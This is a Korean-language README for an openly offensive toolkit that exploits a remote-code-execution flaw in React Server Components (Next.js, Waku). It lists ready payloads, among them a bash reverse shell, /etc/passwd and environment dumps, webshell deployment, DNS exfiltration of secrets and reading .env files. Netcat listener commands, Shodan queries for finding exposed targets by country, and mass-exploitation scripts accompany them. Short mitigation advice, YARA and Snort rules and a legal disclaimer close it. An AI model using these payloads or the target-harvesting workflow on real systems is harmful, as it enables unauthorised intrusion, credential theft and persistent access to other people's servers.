
React Server Components 취약점을 위한 고급 RCE 익스플로잇 툴킷입니다. 사전 구축된 여러 페이로드, 대상 발견을 위한 Shodan 통합, 그리고 공인된 침투 테스트를 위한 대량 스캔 기능을 제공합니다.
React Server Components 원격 코드 실행 취약점을 위한 고급 익스플로잇 툴킷
승인된 침투 테스트 및 보안 연구 전용
이 툴킷은 React Server Components (RSC) 구현체의 중요 원격 코드 실행 (RCE) 취약점을 익스플로잇하며, 특히 다음을 대상으로 합니다:
이 취약점은 RSC의 데이터 처리 메커니즘에서 프로토타입 오염 및 안전하지 않은 역직렬화를 이용하여 서버에서 임의 코드 실행을 달성합니다.
React Server Components는 클라이언트와 서버 간 데이터 전송을 위해 사용자 정의 직렬화 포맷을 사용합니다. 취약점은 이러한 프레임워크가 특수하게 조작된 페이로드를 역직렬화하고 처리하는 방식에 존재합니다.
공격 체인:
$X:constructor:constructor를 남용하여 Function 생성자에 접근_prefix 필드에 임의의 JavaScript 삽입공격자 → 악성 RSC 페이로드 → 대상 서버
↓
안전하지 않은 역직렬화
↓
프로토타입 체인 접근
↓
Function 생성자
↓
⚠️ RCE 성공 ⚠️
git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit
npm install
# 또는
yarn install
# Shodan CLI 설치
pip install shodan
# API 키로 초기화
shodan init YOUR_API_KEY
node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console
# 리스너 시작
nc -lvnp 4444
# 익스플로잇 실행
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload execCommand \
--command "whoami"
node rsc-rce-exploit.js [옵션]
*--payload 또는 --custom 중 하나는 필수
모든 페이로드 보기:
node rsc-rce-exploit.js --list
출력:
📋 사용 가능한 페이로드:
console - 기본 PoC - 콘솔 출력
코드: console.log(7*7+1)
reverseShell - 리버스 셸 (bash)
코드: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')
readFile - /etc/passwd 읽기
코드: console.log(require('fs').readFileSync('/etc/passwd','utf8'))
envDump - 환경 변수 덤프
코드: console.log(JSON.stringify(process.env,null,2))
execCommand - 시스템 명령 실행
코드: console.log(require('child_process').execSync('COMMAND').toString())
webshell - /tmp에 웹셸 작성
코드: require('fs').writeFileSync('/tmp/shell.js','...')
exfilPackage - package.json 읽기
코드: console.log(require('fs').readFileSync('./package.json','utf8'))
dnsExfil - DNS 추출
코드: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)
모든 JavaScript 코드 실행:
node rsc-rce-exploit.js \
--target http://target.com \
--custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"
# 기본 Next.js
http.component:"Next.js"
# RSC를 사용하는 Next.js
http.html:"__next" http.html:"RSC"
# Next.js 개발 모드 (더 취약함)
http.html:"__NEXT_DATA__" http.html:"development"
# 자체 호스팅 Next.js (Vercel 아님)
http.component:"Next.js" -org:"Vercel"
# 지역 대상 지정 (프랑스)
http.component:"Next.js" country:FR
# 침투 테스트용 최고 조합
http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080
# Waku 프레임워크
http.html:"waku" http.html:"RSC"
# Waku RSC 엔드포인트
http.path:"/RSC/"
제공된 자동화 스크립트 사용:
# 스캔 및 자동 테스트
./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100
# 사용자 정의 페이로드와 함께
./shodan-scanner.sh "http.component:\"Next.js\"" 50 envDump
# 1. Shodan 검색
shodan search 'http.component:"Next.js" country:FR' \
--fields ip_str,port,org,hostnames \
--limit 100 > targets.txt
# 2. 각 대상 테스트
while read -r line; do
ip=$(echo $line | awk '{print $1}')
port=$(echo $line | awk '{print $2}')
echo "[*] http://$ip:$port 테스트 중"
node rsc-rce-exploit.js \
--target "http://$ip:$port" \
--payload console
done < targets.txt
mass-exploit.js 도구를 사용하면 여러 대상을 테스트할 수 있습니다:
# 파일에서
node mass-exploit.js --file targets.txt --payload console --threads 10
# Shodan에서
node mass-exploit.js --shodan "http.component:\"Next.js\"" --limit 50 --payload envDump
# 결과 저장
node mass-exploit.js --file targets.txt --payload console --output results.json
자동 보안 테스트 예시:
# .github/workflows/security-test.yml
name: RSC 보안 테스트
on: [push]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- run: npm install
- run: node rsc-rce-exploit.js --target http://staging.example.com --payload console
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--payload console
예상 출력:
╔═══════════════════════════════════════════════════════════╗
║ RSC RCE 익스플로잇 - 향상된 버전 ║
║ React Server Components 코드 실행 ║
╚═══════════════════════════════════════════════════════════╝
[*] 익스플로잇 시작 중...
[*] Next.js RSC 엔드포인트 대상 지정 중...
[*] URL: https://vulnerable.example.com
[*] 페이로드: console.log(7*7+1)...
[+] 응답 상태: 200
[+] 응답 본문:
50
[*] 익스플로잇 완료!
node rsc-rce-exploit.js \
--target https://api.target.com \
--payload envDump
결과:
process.env 변수 덤프# 터미널 1: 리스너 시작
nc -lvnp 4444
# 터미널 2: 익스플로잇 실행
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--payload webshell
# 웹셸 접근
curl "http://vulnerable.example.com:9999/cmd?c=whoami"
# Burp Collaborator 또는 DNS 서버 설정
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--custom "require('dns').resolve4('$(whoami).your-burp.com',()=>{})"
node rsc-rce-exploit.js \
--target https://waku-app.example.com \
--framework waku \
--endpoint /RSC/custom.txt \
--payload execCommand \
--command "id"
# 민감한 파일 읽기
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--custom "console.log(require('fs').readFileSync('.env','utf8'))"
프레임워크 업데이트
npm install next@latest
# 또는
npm install waku@latest
입력 검증
// 모든 RSC 페이로드 검증
function validateRSCPayload(payload) {
// 엄격한 검증 구현
if (payload.includes('constructor')) return false;
if (payload.includes('__proto__')) return false;
return true;
}
콘텐츠 보안 정책
// next.config.js
module.exports = {
async headers() {
return [{
source: '/:path*',
headers: [
{ key: 'X-Frame-Options', value: 'DENY' },
{ key: 'X-Content-Type-Options', value: 'nosniff' },
],
}]
},
}
프로덕션에서 RSC 비활성화 (필요하지 않은 경우)
// next.config.js
module.exports = {
experimental: {
serverActions: false,
},
}
next-action 헤더 사용에 대한 경고YARA 규칙:
rule RSC_RCE_Exploit {
strings:
$s1 = "constructor:constructor"
$s2 = "_prefix"
$s3 = "$@"
$s4 = "resolved_model"
condition:
3 of them
}
Snort 규칙:
alert tcp any any -> any any (msg:"RSC RCE 시도"; content:"next-action"; http_header; content:"constructor:constructor"; http_client_body; sid:1000001;)
| 버전 범위 | 상태 | 참고 |
|---|---|---|
| < 0.18.0 | ⚠️ 취약 | 중요 RCE |
| >= 0.18.0 | ✅ 패치됨 | 업데이트 권장 |
기여를 환영합니다! 다음 지침을 따라주세요:
git checkout -b feature/amazing-feature)git commit -m '멋진 기능 추가')git push origin feature/amazing-feature)⚠️ 법적 면책 조항 ⚠️
이 툴킷은 승인된 보안 테스트 및 연구 전용으로 제공됩니다.
이 소프트웨어를 사용함으로써 귀하는 다음에 동의합니다:
1. 귀하가 소유하거나 명시적인 서면 허가를 받은 시스템만 테스트합니다
2. 모든 관련 지방, 주, 국가 및 국제법을 준수합니다
3. 이 도구를 악의적인 목적이나 불법 활동에 사용하지 않습니다
4. 귀하의 행동에 대한 전적인 책임을 수락합니다
저자 및 기여자:
- 이 도구의 오용이나 손해에 대해 책임을 지지 않습니다
- 불법 활동을 장려하거나 묵인하지 않습니다
- 이 도구를 "있는 그대로" 제공하며 어떠한 종류의 보증도 하지 않습니다
컴퓨터 시스템에 대한 무단 접근은 불법입니다.
위반자는 다음 법률에 따라 최대한 기소됩니다:
- 컴퓨터 사기 및 남용 법 (CFAA) - 미국
- 컴퓨터 오용 법 - 영국
- 유럽 사이버 범죄 협약
- 관할권의 기타 관련 법률
사용에 따른 책임은 본인에게 있습니다.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.
MIT License
Copyright (c) 2024 RSC RCE Exploit Contributors
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
| 페이로드 | 설명 | 사용 사례 |
|---|
console | 기본 PoC (console.log) | 취약점 확인 |
reverseShell | Bash 리버스 셸 | 초기 접근 |
readFile | /etc/passwd 읽기 | 파일 시스템 접근 |
envDump | 환경 변수 덤프 | 자격 증명 추출 |
execCommand | 시스템 명령 실행 | 임의 명령 실행 |
webshell | Express 웹셸 배포 | 지속적 접근 |
exfilPackage | package.json 추출 | 종속성 분석 |
dnsExfil | DNS 추출 (OOB) | 블라인드 익스플로잇 |
| 옵션 | 설명 | 필수 |
|---|
--target <url> | 대상 URL | ✅ |
--framework <name> | 프레임워크: next 또는 waku | ❌ (기본값: next) |
--payload <name> | 페이로드 이름 (아래 참조) | ✅* |
--custom <code> | 사용자 정의 JavaScript 코드 | ✅* |
--lhost <ip> | 사용자 IP (리버스 셸용) | ❌ |
--lport <port> | 사용자 포트 (리버스 셸용) | ❌ |
--command <cmd> | 실행할 명령어 | ❌ |
--endpoint <path> | 사용자 정의 RSC 엔드포인트 (Waku) | ❌ |
--action-id <id> | 사용자 정의 next-action ID | ❌ |
--list | 사용 가능한 페이로드 목록 | ❌ |
--verbose | 상세 출력 | ❌ |
--help | 도움말 표시 | ❌ |
| 버전 범위 | 상태 | 참고 |
|---|
| < 13.4.0 | ✅ 영향 없음 | RSC 기본 활성화되지 않음 |
| 13.4.0 - 13.4.19 | ⚠️ 취약 | 중요 RCE |
| 13.5.0 - 14.0.4 | ⚠️ 취약 | 중요 RCE |
| 14.1.0 | ⚠️ 취약 | 부분 완화 |
| >= 14.1.1 | ✅ 패치됨 | 업데이트 권장 |